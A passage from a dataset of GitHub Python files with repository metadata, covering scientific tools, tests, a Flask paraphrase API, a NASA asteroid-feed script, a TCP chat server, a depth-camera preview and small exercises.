)\n    parser.add_argument(\"parfile\", help=\"parfile to use\")\n    parser.add_argument(\"timfile\", help=\"timfile to use\")\n    parser.add_argument(\"--ephem\", help=\"Ephemeris to use\", default=None)\n    parser.add_argument(\n        \"--test\",\n        help=\"Build UI and exit. Just for unit testing...\",\n        default=False,\n        action=\"store_true\",\n    )\n    args = parser.parse_args(argv)\n\n    logging.getLogger().setLevel(\"WARNING\")\n    root = tk.Tk()\n    root.minsize(800, 600)\n    if not args.test:\n        app = PINTk(root, parfile=args.parfile, timfile=args.timfile, ephem=args.ephem)\n        root.protocol(\"WM_DELETE_WINDOW\", root.destroy)\n        tk.mainloop()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"LBJ-Wade/PINT","sub_path":"src/pint/scripts/pintk.py","file_name":"pintk.py","file_ext":"py","file_size_in_byte":6056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39461216732","text":"import validators\nfrom urllib.parse import urlparse\n\n\ndef normalize_url(url):\n    o = urlparse(url)\n    scheme = o.scheme\n    name = o.netloc\n    return f'{scheme}://{name}'\n\n\ndef validate(start_url):\n    errors = []\n    if len(start_url) > 255:\n        errors.append('URL превышает 255 символов')\n    if not validators.url(start_url):\n        errors.append('Некорректный URL')\n    if not start_url:\n        errors.append('URL обязателен')\n    return errors\n","repo_name":"goryay/python-project-83","sub_path":"page_analyzer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40390453024","text":"from os.path import join as pjoin\nimport tempfile\nimport pytest\nimport numpy as np\nimport atomap.atom_lattice as al\nfrom atomap.sublattice import Sublattice\nfrom atomap.io import load_atom_lattice_from_hdf5\n\n\nclass TestAtomLatticeInputOutput:\n\n    def setup_method(self):\n        image_data = np.arange(10000).reshape(100, 100)\n        peaks0 = np.arange(20).reshape(10, 2)\n        peaks1 = np.arange(26).reshape(13, 2)\n\n        sublattice0 = Sublattice(\n                atom_position_list=peaks0,\n                image=image_data)\n        sublattice1 = Sublattice(\n                atom_position_list=peaks1,\n                image=image_data)\n        self.atom_lattice = al.Atom_Lattice()\n        self.atom_lattice.sublattice_list.extend([sublattice0, sublattice1])\n        self.atom_lattice.image0 = image_data\n        self.tmpdir = tempfile.TemporaryDirectory()\n\n    def teardown_method(self):\n        self.tmpdir.cleanup()\n\n    def test_save_load_atom_lattice_simple(self):\n        save_path = pjoin(self.tmpdir.name, \"test_atomic_lattice_save.hdf5\")\n        self.atom_lattice.save(\n                filename=save_path, overwrite=True)\n        load_atom_lattice_from_hdf5(save_path, construct_zone_axes=False)\n\n    def test_save_load_atom_lattice_check_metadata_values(self):\n        sublattice0 = self.atom_lattice.sublattice_list[0]\n        sublattice1 = self.atom_lattice.sublattice_list[1]\n        sublattice0.name = \"test 0\"\n        sublattice1.name = \"test 1\"\n        sublattice0._plot_color = \"blue\"\n        sublattice1._plot_color = \"green\"\n        assert len(sublattice0.atom_list) == 10\n        assert len(sublattice1.atom_list) == 13\n\n        save_path = pjoin(self.tmpdir.name, \"test_atomic_lattice_save.hdf5\")\n\n        self.atom_lattice.save(\n                filename=save_path, overwrite=True)\n        atom_lattice_load = load_atom_lattice_from_hdf5(\n                save_path, construct_zone_axes=False)\n        sl0 = atom_lattice_load.sublattice_list[0]\n        sl1 = atom_lattice_load.sublattice_list[1]\n\n        assert len(sl0.atom_list) == 10\n        assert len(sl1.atom_list) == 13\n        assert sl0.name == \"test 0\"\n        assert sl1.name == \"test 1\"\n        assert sl0._plot_color == \"blue\"\n        assert sl1._plot_color == \"green\"\n\n    def test_save_load_atom_lattice_atom_values(self):\n        image_data = np.arange(10000).reshape(100, 100)\n\n        atom0_pos = np.random.random(size=(30, 2))*10\n        atom0_sigma_x = np.random.random(size=30)\n        atom0_sigma_y = np.random.random(size=30)\n        atom0_rot = np.random.random(size=30)\n        atom1_pos = np.random.random(size=(30, 2))*10\n        atom1_sigma_x = np.random.random(size=30)\n        atom1_sigma_y = np.random.random(size=30)\n        atom1_rot = np.random.random(size=30)\n\n        sublattice0 = Sublattice(\n                atom_position_list=atom0_pos,\n                image=image_data)\n        sublattice1 = Sublattice(\n                atom_position_list=atom1_pos,\n                image=image_data)\n        for i, atom in enumerate(sublattice0.atom_list):\n            atom.sigma_x = atom0_sigma_x[i]\n            atom.sigma_y = atom0_sigma_y[i]\n            atom.rotation = atom0_rot[i]\n        for i, atom in enumerate(sublattice1.atom_list):\n            atom.sigma_x = atom1_sigma_x[i]\n            atom.sigma_y = atom1_sigma_y[i]\n            atom.rotation = atom1_rot[i]\n\n        atom_lattice = al.Atom_Lattice()\n        atom_lattice.sublattice_list.extend([sublattice0, sublattice1])\n        atom_lattice.image0 = image_data\n\n        save_path = pjoin(self.tmpdir.name, \"atomic_lattice.hdf5\")\n\n        atom_lattice.save(filename=save_path, overwrite=True)\n        atom_lattice_load = load_atom_lattice_from_hdf5(\n                save_path, construct_zone_axes=False)\n        sl0 = atom_lattice_load.sublattice_list[0]\n        sl1 = atom_lattice_load.sublattice_list[1]\n\n        assert (sl0.x_position == atom0_pos[:, 0]).all()\n        assert (sl0.y_position == atom0_pos[:, 1]).all()\n        assert (sl1.x_position == atom1_pos[:, 0]).all()\n        assert (sl1.y_position == atom1_pos[:, 1]).all()\n        assert (sl0.sigma_x == atom0_sigma_x).all()\n        assert (sl0.sigma_y == atom0_sigma_y).all()\n        assert (sl1.sigma_x == atom1_sigma_x).all()\n        assert (sl1.sigma_y == atom1_sigma_y).all()\n        assert (sl0.rotation == atom0_rot).all()\n        assert (sl1.rotation == atom1_rot).all()\n\n    def test_save_atom_lattice_already_exist(self):\n        save_path = pjoin(self.tmpdir.name, \"test_atomic_lattice_io.hdf5\")\n        self.atom_lattice.save(\n                filename=save_path, overwrite=True)\n        with pytest.raises(FileExistsError):\n            self.atom_lattice.save(\n                    filename=save_path)\n\n    def test_save_load_atom_lattice_type(self):\n        save_path = pjoin(self.tmpdir.name, \"test_atomic_lattice_save.hdf5\")\n        self.atom_lattice.save(\n                filename=save_path, overwrite=True)\n        atom_lattice_load = load_atom_lattice_from_hdf5(\n                save_path, construct_zone_axes=False)\n        al0_qualname = self.atom_lattice.__class__.__qualname__\n        al1_qualname = atom_lattice_load.__class__.__qualname__\n        assert al0_qualname == al1_qualname\n\n\nclass TestDumbbellLatticeType:\n\n    def setup_method(self):\n        self.tmpdir = tempfile.TemporaryDirectory()\n\n    def teardown_method(self):\n        self.tmpdir.cleanup()\n\n    def test_load_simple(self):\n        image_data = np.arange(10000).reshape(100, 100)\n        peaks = np.arange(20).reshape(10, 2)\n        sublattice = Sublattice(atom_position_list=peaks, image=image_data)\n        dumbbell_lattice = al.Dumbbell_Lattice(\n                image=image_data, sublattice_list=[sublattice, sublattice])\n\n        save_path = pjoin(self.tmpdir.name, \"test_dumbbell_lattice_save.hdf5\")\n        dumbbell_lattice.save(filename=save_path, overwrite=True)\n        dumbbell_lattice_load = load_atom_lattice_from_hdf5(\n                save_path, construct_zone_axes=False)\n\n        dl0_qualname = dumbbell_lattice.__class__.__qualname__\n        dl1_qualname = dumbbell_lattice_load.__class__.__qualname__\n        assert dl0_qualname == 'Dumbbell_Lattice'\n        assert dl0_qualname == dl1_qualname\n","repo_name":"nzaker/ATOMAP","sub_path":"atomap/tests/test_io.py","file_name":"test_io.py","file_ext":"py","file_size_in_byte":6230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33414091229","text":"from flask import Flask, request, jsonify\nfrom loguru import logger\n\nfrom transformers import AutoModelForSeq2SeqLM, AutoTokenizer\nimport torch\n\n\nlogger.info(\"Initializing flask app...\")\napp = Flask(__name__)\n\n\ndef load_model():\n    model_name = 'Vamsi/T5_Paraphrase_Paws'\n    torch_device = 'cuda' if torch.cuda.is_available() else 'cpu'\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    model = AutoModelForSeq2SeqLM.from_pretrained(model_name).to(torch_device)\n    return model, tokenizer, torch_device\n\ndef paraphrase_text(model, tokenizer, device, input_text, num_return_sequences=1):\n    text =  \"paraphrase: \" + input_text + \" </s>\"\n\n    encoding = tokenizer.encode_plus(text, padding=\"max_length\", max_length=256, return_tensors=\"pt\")\n    input_ids, attention_masks = encoding[\"input_ids\"].to(device), encoding[\"attention_mask\"].to(device)\n\n    outputs = model.generate(\n        input_ids=input_ids, attention_mask=attention_masks,\n        max_length=256,\n        do_sample=True,\n        num_beams=5,\n        # top_k=120,\n        temperature=1.5,\n        top_p=1,\n        num_return_sequences=num_return_sequences\n    )\n    paraphrashed_text = tokenizer.decode(outputs[0], skip_special_tokens=True, clean_up_tokenization_spaces=True)\n    return paraphrashed_text\n\nmodel, tokenizer, device_hardware = load_model()\nlogger.info(\"Flask app initialized!\")\n\n@app.route(\"/paraphrase/\", methods=[\"POST\"])\ndef paraphrase_api():\n    logger.info(f\"Input Form --> {request.form}\")\n    if 'text' in request.form:\n        text = request.form[\"text\"]\n    else:\n        response_data = {\n            'error_message': 'No text in form_data. Please provide input text.',\n            'status': 400\n            }\n        return jsonify(response_data), 400\n    \n    if text:\n        paraphrashed_text = paraphrase_text(model, tokenizer, device_hardware, text)\n    else:\n        logger.info(\"Empty text provided.\")\n        paraphrashed_text = text\n\n    response_data = {\n        \"paraphrased_text\": paraphrashed_text,\n        'status': 200\n    }\n\n    return jsonify(response_data)\n\n\n@app.route(\"/healthz/\", methods=[\"GET\"])\ndef health_check():\n    return \"Welcome to the paraphrase api.\"","repo_name":"MANISH007700/ml-api-freelance","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71830329700","text":"#!/usr/bin/python3\nimport requests\n\n## Define NEOW URL \nNEOURL = \"https://api.nasa.gov/neo/rest/v1/feed?\"\n\ndef main():\n    ## first I want to grab my credentials\n    with open(\"/home/student/nasa.creds\", \"r\") as mycreds:\n        nasacreds = mycreds.read()\n    ## remove any newline characters from the api_key\n    nasacreds = nasacreds.strip(\"\\n\")        \n\n    ## update the date below, if you like\n    startdate = \"start_date=\" + getUserDate()\n\n    ## the value below is not being used in this\n    ## version of the script\n    ## enddate can't be more than 7 days different from start\n    ##NEED TO VALIDATE END DATE IF ENTERED TO ENSURE NOT MORE THAN 7 DAY DIFF\n    isEndDate = inclEndDate()\n    enddate = \"&end_date=\" + getUserDate() + \"&\" if isEndDate else \"&\"\n\n    # make a request with the request library\n    neowrequest = requests.get(NEOURL + startdate + enddate + nasacreds)\n\n    # strip off json attachment from our response\n    neodata = neowrequest.json()\n\n    #get list of neos\n    neos = neodata.get(\"near_earth_objects\")\n    \n    #call find largest\n    findLargest(neos)\n\n    #call find hazard\n    findHazard(neos)\n\n\n##get date from user\ndef getUserDate():\n    date = \"\"\n    while True:\n        print(\"\"\"\n        Enter date you'd like to search asteroids from\n        format must be yyyy-mm-dd\n        \"\"\")\n        date = input(\"> \").strip()\n        if isValidDate(date):\n            break\n        else:\n            print(\"Invalid format, please try again\")\n    \n    return date\n\n##validate user input\ndef isValidDate(dateStr):\n    isValid = True\n    dateArr = dateStr.split(\"-\")\n    if len(dateArr) != 3:\n        isValid = False\n    if len(dateArr[0]) != 4 or len(dateArr[1]) != 2 or len(dateArr[2]) != 2:\n        isValid = False\n    for numStr in dateArr:\n        try:\n           dateNum = int(numStr)\n           if dateArr[1] == numStr and dateNum > 12:\n               isValid = False\n               break\n        except:\n            isValid = False\n            break\n\n    return isValid\n\n# ask user if they would like to include an end date\ndef inclEndDate():\n    isEnd = False\n    while True:\n        user_res = input(\"Would you like to include a cutoff date of where to stop searching? (y/n) \").strip().lower()\n        if user_res == \"y\":\n            isEnd = True\n            break\n        elif user_res == \"n\":\n            isEnd = False\n            break\n        else:\n            print(\"please type 'y' or 'n'\")\n\n    return isEnd\n\n\n\n## display largest neo in range specified\ndef findLargest(neoData):\n    largest = 0\n    name = \"\" \n    for date in neoData:\n        for neo in neoData[date]:\n            neoSize = float(neo[\"estimated_diameter\"][\"miles\"][\"estimated_diameter_max\"])\n            if neoSize > largest:\n                largest = neoSize\n                name = neo[\"name\"]\n\n    print(f\"{name} is the largest asteroid at an estimated {largest} miles in diameter\")\n\n## display total number of potentially hazardous neos in range\ndef findHazard(neoData):\n    hazardous = []\n    for date in neoData:\n        for neo in neoData[date]:\n            if neo[\"is_potentially_hazardous_asteroid\"] == True:\n                hazardous.append(neo[\"name\"])\n            \n    if len(hazardous) == 0:\n        print(\"There were no potentially hazardous asteroids during this time\")\n    else:\n        print(f\"There were {len(hazardous)} hazardous asteroids during this time, the names of these are:\")\n        for name in hazardous:\n            if name == hazardous[-1]:\n                print(name)\n            else:\n                print(name, end=\", \")\n\n    \n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"cronan-sde/pyapi","sub_path":"nasa/neows.py","file_name":"neows.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12476538218","text":"import unittest\nfrom unittest.mock import patch, call\n\nfrom decentralized_smart_grid_ml.exceptions import NotValidAggregationMethod\nfrom decentralized_smart_grid_ml.federated_learning.contributions_extractor import ContributionsExtractorCreator, \\\n    ContributionsExtractor, ContributionsExtractorEnsembleGeneral, ContributionsExtractorSimpleAverage\n\n\nclass TestContributionsExtractor(unittest.TestCase):\n\n    def test_factory_method(self):\n        contributions_extractor_method = ContributionsExtractorCreator.factory_method(\n            \"ensemble_general\",\n            \"test_model\",\n            \"x_validation\",\n            \"y_validation\"\n        )\n        self.assertIsInstance(contributions_extractor_method, ContributionsExtractorEnsembleGeneral)\n        contributions_extractor_method = ContributionsExtractorCreator.factory_method(\n            \"simple_average\",\n            \"test_model\",\n            \"x_validation\",\n            \"y_validation\"\n        )\n        self.assertIsInstance(contributions_extractor_method, ContributionsExtractorSimpleAverage)\n        with self.assertRaises(NotValidAggregationMethod):\n            ContributionsExtractorCreator.factory_method(\n                \"not_existing_method\",\n                \"test_model\",\n                \"x_validation\",\n                \"y_validation\"\n            )\n\n    def test_contributions_extractor_creation_not_valid_arguments(self):\n        with self.assertRaises(ValueError):\n            ContributionsExtractor(None, None, None)\n\n    # test added only for coverage\n    def test_compute_contribution(self):\n        contributions_extractor = ContributionsExtractor(\"model\", \"x_validation\", \"y_validation\")\n        contributions_extractor.compute_contribution(None, None)\n\n    @patch(\"tensorflow.keras.Sequential\")\n    def test_compute_contribution_ensemble_general(self, model_mock):\n        x_val = [[1, 2], [2, 3]]\n        y_val = [0, 1]\n        participants_weights = [[1, 2], [3, 4]]\n        contributions_extractor = ContributionsExtractorEnsembleGeneral(model_mock, x_val, y_val)\n        models_evaluation = [1.0, 0.0]\n        model_mock.evaluate.side_effect = [\n            [\"loss0\", models_evaluation[0]],\n            [\"loss1\", models_evaluation[1]],\n        ]\n        alpha_expected = [1.0, 0.0]\n        alpha = contributions_extractor.compute_contribution(participants_weights, 0.5)\n        model_mock.set_weights.assert_has_calls([\n            call(participants_weights[0]),\n            call(participants_weights[1])\n        ])\n        model_mock.evaluate.assert_has_calls([\n            call(x_val, y_val),\n            call(x_val, y_val)\n        ])\n        self.assertListEqual(alpha_expected, alpha)\n\n    def test_compute_contribution_simple_average(self):\n        x_val = [[1, 2], [2, 3]]\n        y_val = [0, 1]\n        participants_weights = [[1, 2], [3, 4]]\n        contributions_extractor = ContributionsExtractorSimpleAverage(None, x_val, y_val)\n        alpha_expected = [0.5, 0.5]\n        alpha = contributions_extractor.compute_contribution(participants_weights, 0)\n        self.assertListEqual(alpha_expected, alpha)\n","repo_name":"samuelfabrizi/TOBE-LearneD","sub_path":"decentralized_smart_grid_ml/tests/federated_learning/test_contributions_extractor.py","file_name":"test_contributions_extractor.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"1146236701","text":"import socket                                         \n\n\n# a funcao gethostname retorna o nome da maquina\n#host = ''socket.gethostname()                          \nhost=''\nport = 9999\naddr=(host,port)                                      \n\n# criando o socket TCP\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n#Essa linha serve para zerar o TIME_WAIT do Socket\nserversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n# bind to the port\nserversocket.bind(addr)                                  \n\n# limite de conexoes\t\nserversocket.listen(5)                                           \nmsgclient='teste'\n\n#estabelece conexao\nclientsocket,client = serversocket.accept()\nprint(\"Conexao com: \" + str(client))\n\nwhile msgclient!='0':\n\t      \n\treceive=clientsocket.recv(1024)\n\tmsgclient=str(receive.decode('ascii'))\n\tprint(\"Mensagem recebida: \"+msgclient)\n\tif msgclient=='0':\n\t\tbreak\n\t\n\tmsg=input(\"Digite a mensagem que deseja enviar: \")\n\tclientsocket.send(msg.encode('ascii'))\n\nserversocket.close()\n\n\n","repo_name":"mgdossantos/Python","sub_path":"socketJogoAdivinhacao/server1.py","file_name":"server1.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14800932130","text":"import sys\nimport random\nimport string\nimport time\nimport math  \n\n\ndef show_progress_bar(bar_length, completed, total):\n    bar_length_unit_value = (total / bar_length)\n    completed_bar_part = math.ceil(completed / bar_length_unit_value)\n    progress = \"*\" * completed_bar_part\n    remaining = \" \" * (bar_length - completed_bar_part)\n    percent_done = \"%.2f\" % ((completed / total) * 100)\n    print(f'[{progress}{remaining}] {percent_done}%', end='\\r')\n\n\ndef gen(name, Mb, K=(10, 100), L=(3,10)):\n    file = open(name + '.txt', 'w')\n    size = Mb * 1024**2\n    text = ''\n    while sys.getsizeof(text) < size:\n        num1 = random.randint(*K)\n        for i in range(num1):\n            num2 = random.randint(*L)\n            word = ''.join(random.choice(string.ascii_lowercase) for i in range(num2))\n            text += word + ' '\n        text += '\\n'\n        show_progress_bar(50,sys.getsizeof(text),size)\n    file.write(text)\n    file.close()\n    if sys.getsizeof(text) >= size:\n        print(\"\\n\"+ \"Your file is ready\")\n\n#запуск функции и взаимодействие с пользователем\ndef main():\n    while True:\n        name = input(\"Enter file name: \")\n        try:\n            Mb = float(input(\"Enter size of the file: \"))\n            K = tuple(int(x.strip()) for x in input(\"Enter number of words(interval): \").split(','))\n            L = tuple(int(x.strip()) for x in input(\"Enter length of words(interval): \").split(','))\n            break\n        except ValueError:\n            print(\"Wrong input\")\n    gen(name, Mb, K, L)\n\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"DianaSolod/labs_python","sub_path":"lab_2/21_lab_2_2.py","file_name":"21_lab_2_2.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23523189879","text":"import sys\nimport cv2\nimport getopt\nimport numpy as np\nimport ArducamDepthCamera as ac\n\nMAX_DISTANCE = 4\n\n\ndef process_frame(depth_buf: np.ndarray, amplitude_buf: np.ndarray) -> np.ndarray:\n        \n    depth_buf = np.nan_to_num(depth_buf)\n\n    amplitude_buf[amplitude_buf<=7] = 0\n    amplitude_buf[amplitude_buf>7] = 255\n\n    depth_buf = (1 - (depth_buf/MAX_DISTANCE)) * 255\n    depth_buf = np.clip(depth_buf, 0, 255)\n    result_frame = depth_buf.astype(np.uint8)  & amplitude_buf.astype(np.uint8)\n    return result_frame \n\nclass UserRect():\n    def __init__(self) -> None:\n        self.start_x = 0\n        self.start_y = 0\n        self.end_x = 0\n        self.end_y = 0\n\nselectRect = UserRect()\n\nfollowRect = UserRect()\n\ndef on_mouse(event, x, y, flags, param):\n    global selectRect,followRect\n    \n    if event == cv2.EVENT_LBUTTONDOWN:\n        pass\n\n    elif event == cv2.EVENT_LBUTTONUP:\n        selectRect.start_x = x - 4 if x - 4 > 0 else 0\n        selectRect.start_y = y - 4 if y - 4 > 0 else 0\n        selectRect.end_x = x + 4 if x + 4 < 240 else 240\n        selectRect.end_y=  y + 4 if y + 4 < 180 else 180\n    else:\n        followRect.start_x = x - 4 if x - 4 > 0 else 0\n        followRect.start_y = y - 4 if y - 4 > 0 else 0\n        followRect.end_x = x + 4 if x + 4 < 240 else 240\n        followRect.end_y = y + 4 if y + 4 < 180 else 180\n        \ndef usage(argv0):\n    print(\"Usage: python \"+argv0+\" [options]\")\n    print(\"Available options are:\")\n    print(\" -d        Choose the video to use\")\n\n\nif __name__ == \"__main__\":\n    \n    if(len(sys.argv) < 2):\n        usage(sys.argv[0])\n        sys.exit()\n    opts, arg = getopt.getopt(sys.argv[1:], 'hd:', ['help'])\n    for option, value in opts:\n        if option in ['-d']:\n            if value.isdigit() == True:\n                select_video = int(value)\n            else:\n                usage(sys.argv[0])\n                sys.exit()\n        else:\n            usage(sys.argv[0])\n            sys.exit()\n\n    cam = ac.ArducamCamera()\n    if cam.open(ac.TOFConnect.USB,select_video) != 0 :\n        print(\"initialization failed\")\n        sys.exit()\n    if cam.start(ac.TOFOutput.DEPTH) != 0 :\n        print(\"Failed to start camera\")\n        sys.exit()\n    cam.setControl(ac.TOFControl.RANG,MAX_DISTANCE)\n    cv2.namedWindow(\"preview\", cv2.WINDOW_AUTOSIZE)\n    cv2.setMouseCallback(\"preview\",on_mouse)\n    while True:\n        frame = cam.requestFrame(200)\n        if frame != None:\n            depth_buf = frame.getDepthData()\n            amplitude_buf = frame.getAmplitudeData()\n            cam.releaseFrame(frame)\n            amplitude_buf*=(255/1024)\n            amplitude_buf = np.clip(amplitude_buf, 0, 255)\n\n            cv2.imshow(\"preview_amplitude\", amplitude_buf.astype(np.uint8))\n\n            result_image = process_frame(depth_buf,amplitude_buf)\n            result_image = cv2.applyColorMap(result_image, cv2.COLORMAP_JET)\n            cv2.rectangle(result_image,(selectRect.start_x,selectRect.start_y),(selectRect.end_x,selectRect.end_y),(128,128,128), 1)\n            cv2.rectangle(result_image,(followRect.start_x,followRect.start_y),(followRect.end_x,followRect.end_y),(255,255,255), 1)\n            print(\"select Rect distance:\",np.mean(depth_buf[selectRect.start_x:selectRect.end_x,selectRect.start_y:selectRect.end_y]))\n            cv2.imshow(\"preview\",result_image)\n\n            key = cv2.waitKey(1)\n            if key == ord(\"q\"):\n                exit_ = True\n                cam.stop()\n                cam.close()\n                sys.exit(0)\n","repo_name":"ArduCAM/Arducam_tof_camera","sub_path":"example/python/select_video_preview.py","file_name":"select_video_preview.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"35"}
{"seq_id":"23604239579","text":"from itertools import filterfalse\nfrom IO.matrix_reader import read_matrix\nimport time\n\nfrom determinanat_calc.util import measure_exec_time\n\ndef minor_calc(matrix, begin_row_index, column_indexes, measure_parallel_code = False):\n    \"\"\"\n    Calculates an arbitrary minor of given matrix. The original matrix is accessed\n    for calculation (only the necessary rows and columns). Returns two values:\n        1. the value of the minor\n        2. time in milliseconds spent executing code that can be parallelized if argument\n        measure_parallel_code is True, and zero otherwise (it will not be measured)\n\n    Args:\n        matrix (list(list(float))): matrix containing the submatrix of the minor\n        begin_row_index (int): index of the first row of the submatrix for the minor, in the original matrix\n        column_indexes (list(int)): indexes of columns of the submatrix for the minor, in the original matrix\n        measure_parallel_code (bool): indicates whether the execution time for code that can be parallelized\n        should be measured, it is False by default for better performance\n\n    Return:\n        value of the given minor, time spent executing code that can be parallelized ( (float, float) )\n    \"\"\"\n\n    # order of submatrix\n    n = len(column_indexes)\n\n    # if order is one, return the only element of the submatrix as the minor\n    if n == 1:\n        return matrix[begin_row_index][column_indexes[0]], 0.0\n\n    # initialize the values to calculate the determinant\n    result = 0\n    minors = [0 for i in range(n)]\n    sgn = 1\n\n    # expansion over first row\n    parallel_code_exec_time = 0\n    for idx, col in enumerate(column_indexes):\n        minor_cols = list(filterfalse(lambda el: el == col, column_indexes))\n        # calculate required minors (this can be done in parallel)\n        if measure_parallel_code:\n            start_time = time.time()\n            minor, _ = minor_calc(matrix, begin_row_index + 1, minor_cols)\n            end_time = time.time()\n            minor_calc_time = (end_time - start_time) * 1000\n            minors[idx] = minor\n            parallel_code_exec_time += minor_calc_time\n        else:\n            minor, _ = minor_calc(matrix, begin_row_index + 1, minor_cols)\n            minors[idx] = minor\n\n\n    for j in range(n):\n        result += sgn * matrix[begin_row_index][column_indexes[j]] * minors[j]\n        sgn *= -1\n\n    return result, parallel_code_exec_time\n\n@measure_exec_time\ndef det_serial(matrix):\n    \"\"\"\n    Calculates and returns the determinant of given matrix using serial implementation, as well\n    as time in milliseconds, spent executing code that can be parallelized.\n    Since it is decorated with measure_exec_time, the execution time in milliseonds is also returned.\n\n    Args:\n        matrix (list(list(float)): matrix for which the determinant is calculated.\n\n    Return:\n        value of the determinant, time spent executing code that can be parallelized\n        and total execution time in milliseconds ( (float, float, float) )\n    \"\"\"\n    n = len(matrix)\n    cols = list([i for i in range(n)])\n    determinant, parallel_code_exec_time = minor_calc(matrix, 0, cols, measure_parallel_code=True)\n    return determinant, parallel_code_exec_time\n\nif __name__ == \"__main__\":\n    test_matrix = read_matrix(\"../../test_data/matrica5x5.txt\")\n    determinant, parallel_code_exec_time, exec_time_ms = det_serial(test_matrix)\n    print('det(matrix) =', determinant)\n    print('Execution time was: {} ms.'.format(exec_time_ms))\n\n\n\n\n\n","repo_name":"mihajlokusljic/DeterminantCalculator","sub_path":"Python/determinanat_calc/serial_det_calc.py","file_name":"serial_det_calc.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24727282417","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\ndriver = webdriver.Chrome()\n\ndriver.get('C:/Users/Sergio Vegue/Desktop/URJC/4/2o cuatri/MDS/index.html')\ntime.sleep(5)\n\nfrase = \"\"\nfor i in range(1, 21):\n    palabra = driver.find_element(By.ID, \"word_\"+str(i)).text\n    frase += palabra+\" \"\nescribir = driver.find_element(By.XPATH, '//*[@id=\"textInput\"]')\nescribir.send_keys(frase)\ntime.sleep(10)\n\n\n\n","repo_name":"Dano19186/Practica3MDS","sub_path":"dedosRapidos.py","file_name":"dedosRapidos.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29182067679","text":"\n\nn = int(input(\"n = \"))\nprime = True\nf = 2\n\nwhile (f*f <= n):\n\n    if n % f == 0:\n        prime = False\n\n    f += 1\n\nprint(prime)\n\n\"\"\"\nx = 0\ny = 0\n\na = 0\nb = 0\nc = 0\n\n\nwhile (a < 5):\n\n    c += 1\n    if a == b:\n        b = 0\n        a += 1\n    \n    if c % 2 == 0:\n        b += 1\n\n    print(a, b)\n\n\nx = 0\n\nstep = 0\ncounter = 0\nturn = 0\n\nwhile(step <= 10):\n\n    if counter % 2 == 0:\n        step += 1\n        \n    print(step)\n    counter += 1\n\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"MathandPhysicsStuff/Ulam-Spiral","sub_path":"step.py","file_name":"step.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42666273720","text":"fib = [1,1]\ni = 0\n\n# appends next fibonacci number until the length is 1000\nwhile True:\n    fib.append(fib[i]+fib[i+1])\n    if len(str(fib[i] + fib[i+1])) == 1000:\n        break\n    i+=1\n\nprint(fib[-1])\nprint(len(fib))","repo_name":"schiang28/Project-Euler-Solutions","sub_path":"Project_Euler_Q25.py","file_name":"Project_Euler_Q25.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19417956675","text":"import os\nimport subprocess as sp\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\nBASE_PATH = \"/cs/usr/ehassid/Downloads/\"\nSCRIPT_DIR = \"/cs/usr/ehassid/PycharmProjects/proteins_hackathon/\"\nsh2_ref_path = \"pdb6pxc.A.pdb\"\nsh2_predicted_files = [\"/cs/usr/ehassid/Downloads/actual_data/pdb1bmb/pdb1bmb_SH2_A.pdb\", \"pdb6pxc.A.pdb\"]\npred_dir = os.path.join(BASE_PATH, \"pred_pdbs\")\nreference_dir = os.path.join(BASE_PATH, \"actual_data\")\nALIGN = \"/cs/usr/ehassid/PycharmProjects/proteins_hackathon/alignMPtrans.pl\"\n\n\ndef get_data():\n    \"\"\"\n    returns a list [match_num, transition, RMSD] taken from \"2_sol.res\" in the current dir\n    \"\"\"\n    if not os.path.exists(os.path.join(BASE_PATH,\"2_sol.res\")):\n        return None\n    output_file = open(os.path.join(BASE_PATH,\"2_sol.res\"))\n    content = output_file.readlines()\n    RMSD = float((content[12].split()[-1]))\n    return RMSD\n\n\ndef check_alignment_in_dir(dir_path, match_num_threshold, ref_path):\n    \"\"\"\n    gets a dir path, returns a dictionary with key filename.pdb, and value- [match_num, transition, RMSD]\n    In the dir- a file for every chain in a larger pdb file\n    \"\"\"\n    data_dict = dict()\n    os.chdir(dir_path)\n    for f in os.listdir():\n        if f[:-4] == os.path.basename(dir_path):\n            continue\n        if f.endswith(\".pdb\"):\n            sp.run([ALIGN, ref_path, f, \"out\"], stdout=sp.DEVNULL, stderr=sp.DEVNULL)\n            data_list = get_data()  # get relevant data from 2_sol.res\n            if 